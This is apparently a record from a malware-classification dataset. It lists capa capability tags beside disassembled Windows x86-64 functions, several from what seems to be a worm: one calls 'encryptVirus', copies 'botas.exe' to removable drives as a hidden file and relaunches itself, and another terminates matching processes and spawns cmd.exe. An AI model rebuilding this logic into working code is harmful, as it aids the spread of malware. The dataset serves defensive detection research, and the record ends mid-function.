joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c50
Capabilities:
Connect socket
Enumerate process modules
Initialize winsock library
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push r15
mov eax, 0x1168
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.00403630
sub rsp, rax
mov rdi, qword [rdx]
mov ebx, ecx
mov rsi, rdx
lea rdx, str.RANDHEX
mov rcx, rdi
call sym.strcmp
test eax, eax
jne 0x401ca8
cmp ebx, 3
jg 0x401d80
add rsp, 0x1168
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, str.STOP
mov rcx, rdi
call sym.strcmp
test eax, eax
jne 0x401c8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r8, [rsp + 0x4c]
mov edx, 0x1000
lea rbx, [rsp + 0x160]
mov rcx, rbx
mov ebp, eax
call sym.K32EnumProcesses
test eax, eax
je 0x401c8d
mov eax, dword [rsp + 0x4c]
shr eax, 2
je 0x401c8d
lea edi, [rax*4]
mov r12, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r13, [rsp + 0x50]
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, rbx
jmp 0x401d1d
add rbx, 4
cmp rbx, rdi
je 0x401c8d
mov r8d, dword [rbx]
test r8d, r8d
je 0x401d10
cmp r8d, ebp
je 0x401d10
xor edx, edx
mov ecx, 1
call r12
mov r15, rax
test rax, rax
je 0x401d10
xor edx, edx
mov r9d, 0x104
mov r8, r13
mov rcx, rax
call sym.K32GetModuleFileNameExA
test eax, eax
je 0x401d6f
mov rdx, qword [rsi + 0x10]
mov rcx, r13
call sym.strstr
test rax, rax
je 0x401d6f
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call r14
jmp 0x401d10
mov rcx, qword [rsi + 0x10]
call sym.atoi
test eax, eax
jle 0x401c8d
mov rcx, qword [rsi + 0x18]
call sym.atoi
test eax, eax
jle 0x401c8d
mov r13, qword [sym.imp.msvcrt.dll__spawnl]
lea r14, str.echo
lea rdi, str.cmd.exe
lea r12, [0x0040b052]
lea r15, [0x0040bb7a]
mov rcx, qword [rsi + 0x10]
mov rbx, qword [rsi + 8]
call sym.atoi
mov rcx, qword [rsi + 0x18]
mov dword [rsp + 0x38], eax
call sym.atoi
mov edx, 0x2c
mov rcx, rbx
mov dword [rsp + 0x3c], eax
call sym.strchr
test rax, rax
je 0x401e86
mov rcx, rbx
mov rdx, r12
call sym.strtok
mov rbx, rax
test rax, rax
jne 0x401e22
jmp 0x401dc5
mov rdx, r12
xor ecx, ecx
call sym.strtok
mov rbx, rax
test rax, rax
je 0x401dc5
mov qword [rsp + 0x20], r14
mov r9, r15
mov r8, rdi
mov rdx, rdi
mov qword [rsp + 0x28], 0
mov rbp, qword [0x0040f050]
mov ecx, 1
call r13
test eax, eax
mov qword [rsp + 0x30], rax
je 0x401e10
mov rcx, rbp
call sym.free
mov rax, qword [rsp + 0x30]
test eax, eax
je 0x401e10
mov r8d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x38]
mov rcx, rbx
add rsp, 0x1168
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.Randhex
mov qword [rsp + 0x20], r14
mov rdx, rdi
mov ecx, 1
mov rbp, qword [0x0040f050]
mov qword [rsp + 0x28], 0
lea r9, [0x0040bb7a]
lea r8, str.cmd.exe
call r13
mov rsi, rax
test eax, eax
je 0x401c8d
mov rcx, rbp
call sym.free
test esi, esi
je 0x401c8d
jmp 0x401e62
Function at 0x401ee0
Capabilities:
Connect socket
Convert ip address from string
Get socket status

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x268
mov rsi, rdx
mov ebx, ecx
mov ecx, 2
mov edi, r9d
mov word [rsp + 0x40], cx
lea rbp, [rsp + 0x40]
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, rsi
movsxd rsi, ebx
lea r8, [rsp + 0x44]
mov ecx, 2
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rdx, rbp
mov r8d, 0x10
mov rcx, rsi
mov qword [rsp + 0x48], 0
call qword [sym.imp.WS2_32.dll_connect]
mov edx, eax
mov eax, 1
test edx, edx
js 0x401f60
add rsp, 0x268
pop rbx
pop rsi
pop rdi
pop rbp
ret
call qword [sym.imp.msvcrt.dll__errno]
cmp dword [rax], 0x70
je 0x401f80
xor eax, eax
add rsp, 0x268
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rax, [rsp + 0x38]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x3c], 0
lea ecx, [rbx + 1]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x50], 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x401f6b
lea rax, [rsp + 0x34]
mov edx, pe_overlay
lea r9, [rsp + 0x30]
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
mov r8d, 0x1007
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_getsockopt]
mov edx, dword [rsp + 0x30]
xor eax, eax
test edx, edx
sete al
jmp 0x401f4d

Function at 0x402130
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbx
sub rsp, 0x70
mov edx, 0x50
lea rbx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x402170
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x402170
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
add rsp, 0x70
pop rbx
ret
xor eax, eax
add rsp, 0x70
pop rbx
ret

Function at 0x402190
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor edx, edx
mov rsi, rcx
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x402229
lea rdi, [rsp + 0x20]
mov rcx, rax
lea rbp, [rsp + 0x4c]
mov dword [rsp + 0x20], 0x130
mov rdx, rdi
call sym.Process32First
test eax, eax
jne 0x4021ef
jmp 0x402220
mov rdx, rdi
mov rcx, rbx
call sym.Process32Next
test eax, eax
je 0x402220
mov rdx, rsi
mov rcx, rbp
call sym.strcmp
test eax, eax
jne 0x4021e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x4022c0
Capabilities:
Copy file
Enumerate files on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x388
xor ecx, ecx
mov r8d, 0x104
lea rsi, [rsp + 0x20]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rsi
call sym.strlen
test rax, rax
je 0x402327
lea rcx, [rsi + rax - 1]
movzx edx, byte [rcx]
cmp dl, 0x5c
je 0x402324
lea rax, [rsi + rax - 2]
jmp 0x40231f
movzx edx, byte [rax]
mov rcx, rax
sub rax, 1
cmp dl, 0x5c
je 0x402324
cmp dl, 0x2f
jne 0x402310
mov byte [rcx], 0
lea rbp, [rsp + 0x240]
lea r8, str..exe
mov edx, 0x104
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_strcat_s]
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x4023b8
mov r13, qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r12, qword [sym.imp.KERNEL32.dll_FindNextFileA]
lea r15, [rsp + 0x26c]
lea rbx, [rsp + 0x130]
lea r14, str._s_s
nop
mov r9, r15
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sym.sprintf
xor r8d, r8d
mov rdx, rbx
lea rcx, str.botas.exe
call r13
mov rdx, rbp
mov rcx, rdi
call r12
test eax, eax
jne 0x402380
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x388
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x402860
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x4028d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00410104]
test esi, esi
mov rbx, rcx
jle 0x402a00
mov rax, qword [0x00410108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x40291b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x4029a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x402900
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x402a22
mov rax, qword [0x00410108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x00410108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402a07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40299e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x4029b0
add dword [0x00410104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x00410108]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40299e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x402928
mov rax, qword [0x00410108]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x402fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00410160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00410140]
test rbx, rbx
je 0x40301c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x403013
test eax, eax
jne 0x403013
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402ff8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x403230
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x403248
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x403250
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x403260
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x4032ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x4032a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4032af
add rax, 0x28
cmp rax, r9
jne 0x403290
xor eax, eax
ret

Function at 0x4032b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x403340
mov rdx, qword [0x0040c400]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x40332e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40332e
cmp word [rax + 0x18], 0x20b
jne 0x40332e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x403340
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x403319
add rbx, 0x28
cmp rbx, rdi
je 0x403340
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x403310
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x403350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040c400]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x403370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x403378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x403370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x4033cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4033c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403370
add rax, 0x28
cmp rax, r9
jne 0x4033b0
xor eax, eax
ret

Function at 0x4033d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040c400]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x4033ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4033f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x4033ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x403410
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x0040c400]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x403430
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x403438
ret
cmp word [rdx + 0x18], 0x20b
jne 0x403430
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x403480
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x403477
test rcx, rcx
je 0x403430
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x403468
xor eax, eax
ret

Function at 0x403490
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040c400]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x4034af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x4034b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x4034d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040c400]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4034f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4034f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4034f0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x4034f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x403544
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x403550
add rdx, 0x28
cmp rdx, r9
jne 0x403530
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x403560
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x0040c400]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x403582
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x403590
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x403582
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x403582
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x403582
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x4035e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x4035f8
add rdx, 0x28
cmp r10, rdx
jne 0x4035d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x403607
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x403617
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4035ee
test ecx, ecx
jg 0x403600
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x408f70
Capabilities:
Copy file
Create process on windows
Enumerate processes
Get disk information
Set file attributes

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x2c8
lea rsi, str.botas.exe
call sym.__main
lea rbx, [rsp + 0x80]
mov rcx, rsi
lea r15, [rsp + 0x190]
call sym.encryptVirus
mov rdx, rbx
mov ecx, 0x104
lea r13, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [rsp + 0x80], 0
je 0x4090bf
mov rbp, qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
lea r15, [rsp + 0x190]
lea rdi, str._shiddenfile.bin
lea r12, [0x0040bc25]
lea r14, str.Error_opening_file._n
lea r13, [rsp + 0x60]
jmp 0x40900e
mov rcx, rbx
call sym.strlen
lea rbx, [rbx + rax + 1]
cmp byte [rbx], 0
je 0x4090bf
mov rcx, rbx
call rbp
cmp eax, 2
jne 0x408ff8
mov r8, rbx
mov rdx, rdi
mov rcx, r15
call sym.sprintf
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, r12
mov rcx, r15
call sym.fopen
test rax, rax
je 0x409214
mov rcx, r15
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor r9d, r9d
mov rcx, rbx
mov edx, 0xc0000000
mov qword [rsp + 0x30], 0
mov r8d, 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x30], r13
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0
mov rcx, rax
mov edx, 0x90018
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x408ff8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 2
mov edi, eax
call sym.CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x409106
mov rdx, r15
mov rcx, rax
mov dword [rsp + 0x190], 0x130
call sym.Process32First
test eax, eax
jne 0x4091c3
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call rdi
lea r14, [rsp + 0x19c]
lea rax, [rsp + 0x200]
xor ebx, ebx
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x58], r14
lea rbp, [rsp + 0x194]
mov r14, rax
nop
mov rcx, rsi
call sym.isProcessRunning
test eax, eax
jne 0x4091a5
mov rdi, qword [rsp + 0x58]
mov rcx, rbp
mov rax, rbx
xor r9d, r9d
mov qword [rbp], 0
xor r8d, r8d
mov rdx, rsi
and rdi, 0xfffffffffffffff8
mov qword [r14 - 0x10], 0
sub rcx, rdi
add ecx, 0x64
shr ecx, 3
rep stosq qword [rdi], rax
mov qword [rsp + 0x48], r13
mov dword [rsp + 0x190], 0x68
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0x3e8
call r12
jmp 0x409130
mov rdx, r15
mov rcx, rbx
call sym.Process32Next
test eax, eax
je 0x4090fa
cmp dword [rsp + 0x198], edi
jne 0x4091b0
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x409203
mov edx, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
jmp 0x409101
mov rcx, r14
call sym.printf
jmp 0x409049
Function at 0x409240
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x48
cmp qword [0x00410080], 0
je 0x409253
add rsp, 0x48
ret
xor eax, eax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000040
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x38]
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40928e
mov word [0x00410086], 0xff0a
mov byte [0x00410080], 0
jmp 0x40924e
mov rcx, qword [rsp + 0x38]
mov edx, 8
lea r8, [0x00410080]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
xor edx, edx
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x4092ba
cmp qword [0x00410080], 0
jne 0x4092c2
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x40927c
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x40924e
Function at 0x140006ff0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140007012
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000708c
mov rdi, r14
mov rcx, rbx
call fcn.140002e20
test rax, rax
jle 0x140007064
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.140038460
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000707c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140007084
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140007026
sub r14, rdi
jmp 0x14000716f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400070a3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400070a5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400070d7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140038460
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000716c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140007112
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000714d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400211c0
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000716c
cmp rbp, rax
ja 0x140007120
test rbp, rbp
je 0x14000716c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400211c0
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x1400137d0
Capabilities:
Manipulate console buffer

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x14004f080]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor eax, eax
mov ecx, 0xfffffff5
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rsp + 0x38]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx ecx, word [rsp + 0x38]
lea rax, [rsp + 0x34]
movsx r8d, word [rsp + 0x3a]
mov dl, 0x20
mov r9d, dword [rsp + 0x30]
imul r8d, ecx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
movsx eax, word [rsp + 0x38]
mov edx, 7
movsx r8d, word [rsp + 0x3a]
mov rcx, rdi
mov r9d, dword [rsp + 0x30]
imul r8d, eax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400150f0
add rsp, 0x60
pop rdi
ret

Function at 0x140015e44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140015e8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140015e8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140015e8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140015e8e
cmp dword [rcx + 0x84], 0xe
jbe 0x140015e8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140015e90
xor al, al
add rsp, 0x28
ret

Function at 0x14001bce8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001bb53
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001bb53
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001bb53
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001bb53
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001bb53
cmp dword [rcx + 0x84], 0xe
jbe 0x14001bb53
cmp dword [rcx + 0xf8], 0
je 0x14001bb53
mov ecx, ebx
call fcn.14001bc04
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
